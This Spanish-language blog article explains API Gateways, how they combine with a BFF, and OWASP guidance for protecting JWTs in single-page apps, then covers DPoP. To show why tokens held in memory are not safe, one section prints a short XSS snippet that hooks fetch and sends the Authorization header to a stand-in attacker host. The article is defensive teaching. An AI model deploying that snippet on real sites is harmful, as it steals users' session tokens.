Introducción

Abre ahora mismo las DevTools de tu navegador, ve a la pestaña Application y busca tokens en localStorage, sessionStorage o en las cookies. Si tu aplicación es una SPA —Angular, React, Vue— es muy probable que haya un JWT ahí, totalmente legible, esperando que alguien con un mínimo de conocimiento técnico lo copie y lo use. Un API Gateway puede validar ese token en cada request, rechazar llamadas sin autenticación y aplicar un rate limiting estricto contra abusos. Pero no puede impedir que un script malicioso, inyectado vía XSS, robe el token antes incluso de que el request llegue al gateway.

Esa es la paradoja que quiero explorar en este artículo. En arquitecturas de microservicios con SPAs en el frontend, el API Gateway es una pieza esencial: centraliza autenticación, observabilidad y políticas de seguridad en un único punto. Sin embargo, no es una bala de plata. La seguridad real de los tokens en el navegador depende de decisiones arquitectónicas que van mucho más allá de configurar un plugin de JWT en Kong o en Azure APIM.

Este es el tercer artículo de la serie Segurança para Devs. En el primer artículo, cubrí los fundamentos de JWT, OAuth2, OpenID Connect y los tipos de Client ID en Azure Entra ID. En el segundo artículo, implementé el patrón BFF con ASP.NET Core 8, Angular 16+ y cookies HttpOnly. Ahora voy a cerrar el ciclo respondiendo las preguntas que quedaron abiertas: qué es un API Gateway, cuáles son los proyectos open source más robustos, cómo se integra con un BFF y —la cuestión central— cuál es el enfoque más robusto según OWASP para proteger tokens en SPAs.

Al final de este artículo, entenderás cuándo usar (y cuándo no usar) un API Gateway, por qué el JWT es vulnerable en cualquier forma de almacenamiento en el navegador —incluidas las variables en memoria— y por qué la recomendación de OWASP es que el token simplemente no exista en el navegador.


Qué es un API Gateway

Un API Gateway es el punto único de entrada para todas las APIs de una arquitectura de microservicios. A diferencia de un reverse proxy —que simplemente reenvía requests a servidores backend— y de un load balancer —que distribuye la carga entre instancias—, el API Gateway entiende tus APIs. Sabe quién está llamando, qué endpoint se está accediendo, si el token es válido, si se superó el rate limit, y puede transformar tanto el request como el response antes de que lleguen al servicio final.

En la práctica, el API Gateway funciona como un portero inteligente. No solo abre la puerta: verifica la identidad, aplica reglas, registra quién entró e incluso puede modificar el mensaje antes de entregarlo al destinatario.

La confusión entre API Gateway, reverse proxy y load balancer es común porque algunos productos hacen más de una cosa. NGINX, por ejemplo, nació como servidor web y reverse proxy, pero con módulos adicionales puede funcionar como API Gateway. Para dejar claro dónde actúa cada uno, mira la tabla siguiente:

AspectoReverse ProxyLoad BalancerAPI Gateway
Foco principalReenviar requestsDistribuir cargaGestión completa de APIs
AutenticaciónBásica (IP, headers)NoJWT, OAuth2, API keys, mTLS
Rate limitingBásicoNoAvanzado (por cliente, por API, cuotas)
TransformaciónCabecerasNoBody y headers de request/response
ObservabilidadLogs básicosMétricas de saludMétricas, logs, tracing distribuido
EjemplosNGINX, HAProxyAzure LB, AWS ELBKong, APISIX, Azure APIM

Las responsabilidades típicas de un API Gateway incluyen: routing inteligente, rate limiting y throttling, autenticación y autorización, transformación de request/response, observabilidad centralizada (métricas, logs y tracing distribuido), caching de respuestas y versionado de APIs. Todas estas preocupaciones transversales (cross-cutting concerns) quedan centralizadas en un único punto en lugar de reimplementarse en cada microservicio.

ℹ️ Información: Un reverse proxy reenvía requests. Un API Gateway entiende tus APIs: quién llama, con qué token, bajo qué política, y puede transformar la comunicación en ambas direcciones.


Principales players y proyectos open source

El ecosistema de API Gateways es amplio. Existen proyectos open source robustos, soluciones cloud-managed y gateways enterprise con licencia comercial. Me voy a centrar en los proyectos más relevantes para quienes desarrollan y operan microservicios hoy.

Open Source

Kong es probablemente el API Gateway open source más conocido. Construido sobre NGINX/OpenResty, usa Lua para los plugins y ofrece un modo DB-less para configuración declarativa. El Kong Ingress Controller lo hace Kubernetes-native, y la comunidad es enorme, con cientos de plugins disponibles en Kong Hub. Es la opción segura cuando se busca madurez y ecosistema.

Apache APISIX es el competidor directo de Kong en rendimiento. Usa etcd como backend (en lugar de PostgreSQL), admite plugins en Lua, Java, Go y Python, y trae un dashboard nativo. Incubado por la Apache Foundation, ha crecido rápido en adopción, especialmente en entornos que exigen alto throughput con baja latencia.

Tyk está escrito en Go y se diferencia por el soporte nativo de GraphQL, el developer portal integrado y la analítica incorporada. Tiene una versión community (open source) y una versión enterprise con funcionalidades adicionales. Es una buena opción cuando el equipo ya trabaja con GraphQL y quiere un gateway que entienda ese protocolo de forma nativa.

KrakenD es stateless por diseño: no depende de una base de datos y toda la configuración es declarativa en JSON o YAML. Escrito en Go, ofrece un rendimiento extremadamente alto y es ideal para escenarios donde la simplicidad operativa es prioridad. Si no quieres gestionar un PostgreSQL o un etcd solo para el gateway, KrakenD lo resuelve.

Traefik nació en el ecosistema de contenedores y brilla en el auto-discovery de servicios mediante labels de Docker o annotations de Kubernetes. La gestión de certificados Let’s Encrypt es automática, y la cadena de middlewares se configura de forma declarativa. Para quien ya usa Docker Compose o Kubernetes, Traefik es el gateway que “se configura solo”.

NGINX va más allá del reverse proxy cuando se combina con los módulos Plus o con NGINX Gateway Fabric para Kubernetes. Aunque no es un API Gateway “de nacimiento”, la madurez y la estabilidad del proyecto lo convierten en una opción confiable para equipos que ya dominan su configuración.

Cloud y Enterprise

En el universo cloud, los principales son: Azure API Management (APIM) —con developer portal, policies en XML/C# e integración con Azure Entra ID—; AWS API Gateway —REST y WebSocket con integración con Lambda y API keys nativas—; Google Cloud Apigee —analítica avanzada y monetización de APIs—; y Cloudflare API Shield —protección en el edge con mTLS nativo y protección DDoS integrada—.

Comparativa rápida

GatewayLenguajeLicenciaK8s-nativeDestacado
KongLua/CApache 2.0SíMayor ecosistema de plugins
APISIXLuaApache 2.0SíMayor rendimiento bruto
TykGoMPL 2.0SíGraphQL nativo
KrakenDGoApache 2.0SíStateless, declarativo
TraefikGoMITSíAuto-discovery de servicios
NGINXCBSDSí (Fabric)Madurez, estabilidad

💡 Consejo: Si el criterio es rendimiento puro, APISIX y KrakenD lideran. Si es ecosistema y madurez, Kong y NGINX dominan. Si es facilidad operativa con contenedores, Traefik es difícil de superar.


Cuándo usar y cuándo NO usar un API Gateway

Un API Gateway es una pieza de infraestructura potente, pero añade complejidad operativa. Usarlo sin una necesidad real es sobreingeniería. No usarlo cuando hace falta es exponer tu arquitectura a riesgos y retrabajo.

Cuándo usarlo

  • Microservicios con múltiples consumers — web, móvil, IoT y socios externos accediendo a las mismas APIs. El gateway centraliza la autenticación y las políticas sin que cada servicio tenga que reimplementarlas.
  • Cross-cutting concerns centralizados — autenticación, rate limiting, logging, caching. Sin gateway, cada microservicio necesita su propia implementación, lo que genera inconsistencia y duplicación.
  • Multi-tenancy y rate limiting por cliente — cuando distintos clientes o planes de suscripción tienen límites de consumo diferentes. El gateway aplica esas políticas sin que los servicios necesiten conocerlas.
  • Versionado de APIs y control de deprecación — migrar de v1 a v2 sin romper a los clientes. El gateway enruta según la versión mientras ambas implementaciones coexisten.
  • Transformación de protocolos — el frontend habla REST, el backend habla gRPC. El gateway hace la traducción, evitando que el frontend tenga que entender protocolos internos.
  • Compliance y auditoría — requisitos como PCI-DSS y LGPD exigen logs centralizados de quién accedió a qué y cuándo. El gateway es el punto natural para esa captura.

Cuándo NO usarlo

  • Monolito simple con un único frontend — añadir un API Gateway a un monolito que sirve a una sola SPA es complejidad innecesaria. Un NGINX como reverse proxy es suficiente.
  • 2-3 APIs internas sin exposición externa — si todo está en la misma red interna y hay pocos servicios, la comunicación directa es más simple. YAGNI (You Aren’t Gonna Need It).
  • Equipo pequeño sin capacidad operativa — un API Gateway es una pieza más de infraestructura que monitorizar, actualizar y depurar. Si el equipo apenas consigue mantener lo que ya existe, añadir un gateway empeora la situación.

El antipatrón: el gateway gordo

Un error común es usar el API Gateway como orquestador de lógica de negocio. El gateway debe hacer routing y aplicar policies, nunca orquestación de flujo. Si el gateway decide “llamar a la API A, luego a la API B, luego a la API C con el resultado combinado”, eso es responsabilidad de un BFF o de un patrón saga, no del gateway.

⚠️ Atención: Un API Gateway gordo es un monolito disfrazado. Si hay lógica de negocio en el gateway, algo está mal. Debe ser una capa fina de políticas y enrutamiento, no un orquestador de workflows.


API Gateway y la seguridad en arquitecturas SPA

Esta es la sección central de este artículo. Aquí voy a explicar lo que el API Gateway puede (y lo que no puede) hacer por la seguridad de una SPA, y por qué el JWT es vulnerable independientemente de dónde esté almacenado en el navegador.

El problema fundamental

Las SPAs son Public Clients: se ejecutan por completo en el navegador del usuario, sin capacidad de guardar secretos. No existe un client secret seguro en el frontend. El código JavaScript es accesible desde las DevTools, la pestaña de red muestra cada request y cualquier almacenamiento del navegador es accesible desde JavaScript. Ese es el contexto en el que el JWT tiene que operar, y ahí es donde falla la mayoría de las arquitecturas.

Si todavía no estás familiarizado con los fundamentos de JWT, OAuth2 y los tipos de client, te recomiendo leer el primer artículo de la serie antes de continuar.

Lo que el API Gateway SÍ puede hacer

El API Gateway es muy eficiente para validar tokens y aplicar políticas de forma centralizada:

  • Validación de JWT centralizada — verifica firma, issuer, audience y expiración en un único punto, en lugar de que cada microservicio reimplemente la validación. Un token rechazado en el gateway nunca llega a los servicios internos.
  • Rate limiting contra fuerza bruta y abuso — limitar las llamadas por IP, por token o por cliente reduce la superficie de ataque frente a ataques automatizados.
  • IP allowlisting y blocklisting — restringir el acceso a endpoints críticos por rango de IP o bloquear IPs sospechosas en tiempo real.
  • Transformación de request/response — eliminar claims sensibles antes de devolver la respuesta al client, o añadir headers de seguridad que el servicio backend no conoce.
  • mTLS entre gateway y backend — garantizar que solo el gateway accede a los microservicios. Aunque un atacante descubra un endpoint interno, sin el certificado del gateway no puede llamarlo directamente.
  • Aplicación centralizada de CORS — definir qué orígenes pueden llamar a qué APIs, en lugar de que cada microservicio configure CORS de forma independiente (y potencialmente se equivoque).

Ejemplo de configuración en Kong con plugins de JWT, rate limiting y CORS:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
plugins:
  - name: jwt
    config:
      claims_to_verify:
        - exp
        - nbf
      key_claim_name: iss
  - name: rate-limiting
    config:
      minute: 100
      policy: local
  - name: cors
    config:
      origins:
        - https://minha-spa.com
      methods:
        - GET
        - POST
      headers:
        - Authorization
        - Content-Type

Esta configuración valida tokens JWT automáticamente, limita a cada consumidor a 100 requests por minuto y restringe CORS únicamente al origen legítimo de la SPA. Todo centralizado, sin que los microservicios necesiten saberlo.

Lo que el API Gateway NO resuelve: un token vulnerable en CUALQUIER almacenamiento del navegador

Aquí es donde se detiene la mayoría de los artículos sobre API Gateway. Muestran la configuración de validación de JWT, cantan victoria y siguen adelante. Pero el problema real no es validar el token, sino que el token existe en el navegador en primer lugar.

Voy a recorrer cada método de almacenamiento para demostrar que ninguno es seguro cuando se explota un XSS:

localStorage y sessionStorage — el método más común y más vulnerable. El token persiste (localStorage) o vive hasta que se cierra la pestaña (sessionStorage), y cualquier JavaScript de la página puede leerlo con window.localStorage.getItem('token'). Un script malicioso inyectado vía XSS hace exactamente eso.

Cookie sin HttpOnly — los desarrolladores que migran de localStorage a cookies sin configurar el flag HttpOnly no ganan nada. La cookie sigue siendo accesible mediante document.cookie, tan legible desde JavaScript como localStorage.

Variables en memoria — closures, module scope, Redux store, NgRx store, variable global. Este es el punto en el que muchos desarrolladores se equivocan al creer que “si no persiste, es seguro”. El razonamiento es: “el token existe solo en la memoria de JavaScript, no está en ningún almacenamiento persistente, por lo tanto el XSS no puede acceder a él”. Es incorrecto. El XSS inyecta un script que se ejecuta en el mismo contexto de ejecución JavaScript de la aplicación. Eso significa que el atacante puede:

  1. Leer directamente variables y stores del framework — si el token está en un Redux store, el script accede a window.__REDUX_STORE__ o a cualquier referencia global. Si está en una variable exportada de un módulo, los imports dinámicos o las referencias de alcance pueden llegar a ella.

  2. Hacer monkey-patch de fetch y XMLHttpRequest para interceptar el header Authorization: Bearer ... en tránsito: aunque el token esté en una closure inaccesible, en el momento en que la aplicación envía un request con el token en el header, el atacante lo captura:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// Script malicioso inyectado vía XSS
const originalFetch = window.fetch;
window.fetch = function(...args) {
  const headers = args[1]?.headers;
  if (headers?.Authorization) {
    // Token capturado: enviarlo al servidor del atacante
    navigator.sendBeacon('https://evil.example/steal', headers.Authorization);
  }
  return originalFetch.apply(this, args);
};
  1. Engancharse a los interceptors del framework — HttpInterceptor de Angular, interceptors de Axios o cualquier middleware que añada el token a los requests. El atacante sustituye el interceptor original por uno que copia el token antes de añadirlo al header.

Web Worker — aunque el token quede aislado en un Web Worker, este tiene que devolver el token (o enviarlo como parte de un request) al main thread mediante postMessage(). En ese momento, el script malicioso que escucha eventos message en el main thread intercepta el token.

⚠️ Atención: Si un atacante consigue XSS, controla todo el runtime de JavaScript. No importa DÓNDE esté el token en la memoria del navegador: si el JavaScript de la aplicación puede acceder a él para enviar requests, el script malicioso también puede. La superficie de ataque no es el “lugar de almacenamiento”, es el contexto de ejecución compartido de JavaScript.

El veredicto: si el token existe en el navegador en cualquier forma accesible desde JavaScript —ya sea localStorage, una cookie sin HttpOnly, una closure, un Redux store o un Web Worker con postMessage—, un XSS significa game over. El API Gateway valida tokens en el lado del servidor, pero no tiene cómo resolver un problema que ocurre por completo en el navegador, antes de que el request llegue a la red. La recomendación es clara: el token no debe existir en el navegador. Eso es exactamente lo que resuelve el patrón BFF con cookies HttpOnly.

Token vulnerable en cualquier almacenamiento del navegador: localStorage, sessionStorage, cookie sin HttpOnly, variable JavaScript y Web Worker son accesibles vía XSS


API Gateway + BFF: ¿tiene sentido?

Sí, lo tiene, pero depende del tamaño y la complejidad de tu arquitectura. El API Gateway y el BFF resuelven problemas diferentes y, combinados, crean una arquitectura de seguridad robusta en la que cada pieza tiene una responsabilidad clara.

La arquitectura combinada

El flujo completo queda así:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
┌─────────┐     ┌─────────┐      ┌──────────────┐     ┌──────────────┐
│   SPA   │────>│  NGINX  │────> │     BFF      │────>│ API Gateway  │
│(Angular)│     │(reverse │      │(ASP.NET Core)│     │  (Kong/APIM) │
│         │<────│ proxy)  │<──── │              │<────│              │
└─────────┘     └─────────┘      └──────────────┘     └──────┬───────┘
                                                             │
                                           ┌─────────────────┼─────────────┐
                                           │                 │             │
                                     ┌─────▼────┐     ┌──────▼─────┐  ┌────▼─────┐
                                     │ API Users│     │ API Orders │  │ API Stock│
                                     └──────────┘     └────────────┘  └──────────┘

En esta arquitectura, el BFF gestiona toda la autenticación del usuario: sesión, cookies HttpOnly, refresh de tokens. El token nunca llega al navegador. El BFF obtiene el token del Identity Provider, lo almacena en el servidor y envía al navegador solo una cookie de sesión HttpOnly. Cada request de la SPA incluye esa cookie automáticamente, y el BFF inyecta el token real antes de reenviarlo al API Gateway.

El API Gateway recibe el request ya autenticado (con el token real en el header) y aplica sus políticas: validación de JWT, rate limiting, mTLS hacia los backends, versionado de APIs y observabilidad centralizada. No sabe ni le importa que el request venga de un BFF: simplemente valida y enruta.

Separación de responsabilidades

ResponsabilidadBFFAPI Gateway
Autenticación del usuario✅❌
Sesión y cookies HttpOnly✅❌
Token refresh✅❌
JWT validation❌✅
Rate limitingBásico✅ Avanzado
mTLS hacia backends❌✅
API versioning❌✅
CORSParcial✅
ObservabilidadParcial✅ Centralizada

El BFF es un confidential client: tiene client_secret, se ejecuta en el servidor y puede autenticarse de forma segura con el Identity Provider. El API Gateway es el policy enforcement point: valida tokens, aplica rate limiting y garantiza que solo los requests autorizados lleguen a los microservicios.

Para los detalles de implementación del BFF con ASP.NET Core 8, YARP y Angular 16+, consulta el artículo anterior de la serie.

Cuándo tiene sentido y cuándo es excesivo

La combinación BFF + API Gateway tiene sentido cuando:

  • Equipos grandes operan decenas de microservicios con múltiples frontends (web, móvil, IoT)
  • Múltiples consumers acceden a las mismas APIs: cada consumer puede tener su propio BFF, pero todos pasan por el mismo gateway
  • Requisitos enterprise como multi-tenancy, monetización de APIs o compliance PCI-DSS exigen gobernanza centralizada

En cambio, cuando el equipo es pequeño, los servicios son pocos y hay un único frontend, el BFF por sí solo con NGINX como reverse proxy es suficiente. Añadir un API Gateway en ese escenario es complejidad operativa sin un beneficio proporcional.

💡 Consejo: Si tu equipo opera 3 APIs internas y un único frontend, BFF + NGINX es suficiente. El API Gateway brilla cuando hay escala, múltiples consumers o requisitos enterprise. No añadas complejidad sin una necesidad real.


OWASP: el enfoque más robusto para JWT en SPAs

OWASP y el IETF mantienen el draft OAuth 2.0 for Browser-Based Applications, que es la referencia más actual para la autenticación en SPAs. Ese documento lo deja claro: ningún almacenamiento del navegador es seguro frente a XSS.

Por qué NINGÚN almacenamiento del navegador es seguro

Reforzando lo que demostré en la Sección 5 con un resumen consolidado:

Método de almacenamiento¿Vulnerable a XSS?Cómo accede el atacante
localStorage✅ Síwindow.localStorage.getItem('token')
sessionStorage✅ SíMismo acceso vía JS, solo con alcance de pestaña
Cookie sin HttpOnly✅ Sídocument.cookie
Variable JS en memoria✅ SíMismo contexto de ejecución: el monkey-patch de fetch/XHR intercepta el header Authorization
Web Worker✅ Sí*El token tiene que volver al main thread mediante postMessage()

El denominador común es simple: todo lo que es accesible para el JavaScript de la aplicación es accesible para un script inyectado vía XSS. El navegador no distingue entre “tu código legítimo” y un “script malicioso inyectado”: ambos se ejecutan en el mismo sandbox, con los mismos privilegios, en el mismo contexto de ejecución.

Jerarquía de enfoques: del menos al más seguro

  1. ❌ localStorage + Access Token directo — el XSS lo lee directamente. Es el escenario más vulnerable y más común.
  2. ❌ sessionStorage + PKCE — el mismo problema que localStorage, solo con el alcance reducido a la pestaña del navegador. Si el atacante tiene XSS, está en la misma pestaña.
  3. ❌ Variable en memoria / closure — el monkey-patch de fetch o XMLHttpRequest intercepta el token en tránsito, como se demostró antes. La falsa sensación de seguridad es el mayor riesgo aquí.
  4. ⚠️ Service Worker como Token Mediator — el token queda aislado en el contexto del Service Worker, inaccesible para el JavaScript del main thread. El Service Worker intercepta los requests de la SPA e inyecta el token automáticamente. Es un enfoque mejor, pero con limitaciones significativas: el navegador puede desregistrar el Service Worker, no funciona en modo incógnito en algunos navegadores y la complejidad de implementación es alta. Pocos frameworks lo admiten de forma nativa.
  5. ✅✅ Patrón BFF con cookies HttpOnly — el token nunca llega al navegador. El BFF, como confidential client en el servidor, obtiene y almacena el token. Solo una cookie de sesión HttpOnly (inaccesible para JavaScript) viaja entre el navegador y el servidor. El XSS no tiene nada que robar.

Token Mediator Pattern

El Token Mediator es la recomendación alternativa de OWASP para cuando el BFF no es viable. La idea es usar un Service Worker que intercepte todos los requests de la SPA. Cuando la SPA hace un fetch(), el Service Worker captura el request, añade el token al header Authorization y lo reenvía al servidor. El token queda almacenado solo en el contexto del Service Worker, que está separado del main thread de JavaScript.

En teoría, esto impide que un XSS en el main thread acceda al token. En la práctica, existen limitaciones que hacen del Token Mediator una alternativa inferior al BFF: el navegador puede desregistrar Service Workers bajo presión de memoria, no todos los navegadores mantienen los Service Workers activos en modo incógnito y la complejidad de implementar el refresh token dentro de un Service Worker (que no tiene acceso al DOM ni a localStorage) es significativa.

Mitigaciones en el navegador: defensa en profundidad

Incluso con un BFF, es fundamental aplicar capas de defensa en el navegador para reducir la probabilidad de XSS en primer lugar:

  • Content Security Policy (CSP) estricta — configura script-src 'self' sin unsafe-inline y sin unsafe-eval. Esto bloquea la ejecución de scripts inline inyectados vía XSS y reduce drásticamente la superficie de inyección.
  • Subresource Integrity (SRI) para scripts externos — garantiza que los scripts cargados desde CDNs no han sido comprometidos. Si el hash no coincide, el navegador bloquea la ejecución.
  • Trusted Types API — previene el XSS basado en DOM impidiendo el uso de innerHTML, eval() y otros sinks peligrosos sin validación explícita. Es compatible con Chrome y Edge.
  • DPoP (Demonstration of Proof-of-Possession) — vuelve inútil el token robado sin la clave privada correspondiente. Se detalla en la siguiente sección.
  • Access tokens de corta duración (1-5 minutos) — reducen la ventana de ataque. Aunque el token sea robado, expira rápidamente.

⚠️ Atención: Estas medidas son capas de defensa (defense in depth), no soluciones definitivas. Si ocurre un XSS, el atacante puede operar en tiempo real: incluso con un token de 1 minuto, actúa en los 60 segundos disponibles. La automatización lo vuelve trivial.

Veredicto de OWASP

El enfoque más robusto según OWASP es BFF + cookies HttpOnly + CSP estricta. El token no debe existir en el navegador en ninguna forma accesible desde JavaScript. El Token Mediator con Service Worker es una alternativa válida cuando el BFF no es viable, pero con trade-offs significativos. Las variables en memoria, las closures y los stores no son alternativas seguras: son solo una falsa sensación de protección que puede ser más peligrosa que localStorage, porque los desarrolladores bajan la guardia.


DPoP: tokens a prueba de robo

DPoP —Demonstration of Proof-of-Possession (RFC 9449)— es un mecanismo que vincula un token de acceso a un par de claves criptográficas específico. Aunque el token sea interceptado, es inútil sin la clave privada correspondiente.

Cómo funciona

El flujo es directo: el navegador genera un par de claves asimétricas usando la Web Crypto API (CryptoKey). Al solicitar un token al Authorization Server, el navegador envía un proof JWT firmado con la clave privada. El Authorization Server vincula el access token a la clave pública del navegador. En cada request posterior, el navegador envía el access token junto con un nuevo proof JWT firmado con la misma clave privada. El API Gateway (o el resource server) valida tanto el token como el proof.

El resultado: si un atacante roba el access token vía XSS, no tiene la clave privada (que es un CryptoKey no exportable almacenado en el navegador). Sin la clave privada, el atacante no puede generar proofs válidos y el servidor rechaza el token.

Cuándo usarlo

DPoP brilla cuando el BFF no es viable: por ejemplo, en apps móviles, SPAs sin backend dedicado o aplicaciones de terceros que no controlan la infraestructura del servidor. En esos escenarios, DPoP es la mejor protección disponible contra el replay y el robo de tokens, porque añade una capa de proof-of-possession que el Bearer token simple no tiene.

Kong y Azure APIM admiten políticas personalizadas para validar proofs DPoP, lo que permite al API Gateway rechazar tokens sin un proof válido.

Limitaciones

DPoP no es perfecto. La complejidad de implementación es mayor que la de los Bearer tokens simples, y no todos los Identity Providers admiten DPoP todavía. La clave privada, aunque sea un CryptoKey no exportable, sigue estando en la memoria del navegador: un ataque XSS sofisticado podría, en teoría, usar la clave para generar proofs (sin extraerla) y realizar requests autenticados en tiempo real. Sin embargo, eso es significativamente más difícil que simplemente copiar un Bearer token.

💡 Consejo: DPoP no sustituye al BFF, pero es la mejor protección disponible cuando el BFF no es una opción. Si puedes usar BFF, usa BFF. Si no puedes, DPoP es el siguiente nivel de protección, muy superior a los Bearer tokens simples.


Consejos y Buenas Prácticas

Aquí tienes una síntesis de las lecciones más importantes de este artículo, consolidadas como referencia rápida:

  • No uses el API Gateway como orquestador — el gateway es una capa fina de políticas y enrutamiento. Si tiene lógica de negocio como “llamar a la API A, luego a la API B, combinar resultados”, eso pertenece al BFF o a un servicio de orquestación dedicado. Un gateway gordo se convierte en un monolito disfrazado.

  • Centraliza la autenticación en el gateway, no en los microservicios — cada microservicio que reimplementa la validación de JWT es una oportunidad de inconsistencia y fallo de seguridad. El gateway valida una vez y los servicios confían en el gateway (verificando mediante mTLS que el request vino de él).

  • Tokens en el navegador = riesgo aceptado — si tu SPA almacena el JWT en localStorage, sessionStorage, cookies sin HttpOnly o variables en memoria, acepta explícitamente el riesgo de XSS. Documenta esa decisión arquitectónica. Si el riesgo no es aceptable, migra a un BFF con cookies HttpOnly.

  • La CSP es tu primera línea de defensa — una Content Security Policy estricta (script-src 'self', sin unsafe-inline) bloquea la mayoría de los vectores de XSS antes de que puedan ejecutarse. Implementa la CSP antes que cualquier otra mitigación.

  • No añadas complejidad sin necesidad — un BFF por sí solo con NGINX como reverse proxy es suficiente para la mayoría de los equipos pequeños y medianos. El API Gateway aporta valor cuando hay escala, múltiples consumers o requisitos enterprise de gobernanza. Evalúa con honestidad si tu arquitectura necesita cada pieza.

  • Los tokens de corta duración reducen el riesgo, no lo eliminan — los tokens con expiración de 1-5 minutos limitan la ventana de ataque, pero con automatización un atacante actúa en segundos. Combina tokens de corta duración con DPoP (sin BFF) o cookies HttpOnly (con BFF) para una protección efectiva.

  • El mTLS entre gateway y backends no es opcional — sin mTLS, un atacante que descubre endpoints internos puede llamar directamente a los microservicios, saltándose todas las políticas del gateway. El mTLS garantiza que solo el gateway sea aceptado como caller.


Conclusión

El API Gateway es una pieza fundamental en cualquier arquitectura de microservicios seria. Centraliza las preocupaciones transversales —autenticación, rate limiting, observabilidad, versionado de APIs— que, sin un gateway, se reimplementarían de forma inconsistente en cada servicio. Los proyectos open source como Kong, APISIX, Tyk, KrakenD y Traefik ofrecen opciones maduras para cada perfil de equipo y escenario operativo.

Pero la seguridad de los tokens en una SPA es un problema del navegador, no de la red. El API Gateway valida tokens en el servidor, y eso es importante, pero no resuelve el hecho de que un XSS haya comprometido el runtime de JavaScript en el navegador antes de que el request llegue al gateway. El token en localStorage es accesible. El token en sessionStorage es accesible. El token en una closure o en un Redux store es accesible mediante monkey-patch de fetch. El token en un Web Worker tiene que pasar por postMessage. En todos los casos, XSS significa game over.

La recomendación de OWASP es clara: el token no debe existir en el navegador en ninguna forma accesible desde JavaScript. El BFF con cookies HttpOnly es el enfoque más robusto: el BFF se autentica como confidential client, almacena los tokens en el servidor y envía al navegador solo cookies de sesión HttpOnly. Para escenarios donde el BFF no es viable, DPoP (RFC 9449) añade proof-of-possession, lo que vuelve inútiles los tokens robados sin la clave privada.

El API Gateway valida tokens. El BFF protege tokens. Combinados, son invencibles.

Si quieres poner estos conceptos en práctica, el segundo artículo de la serie tiene una implementación completa con ASP.NET Core 8, Angular 16+ y Keycloak. Y para los fundamentos de JWT, OAuth2 y OpenID Connect que sostienen todo esto, vuelve al primer artículo.


Lee También


Referencias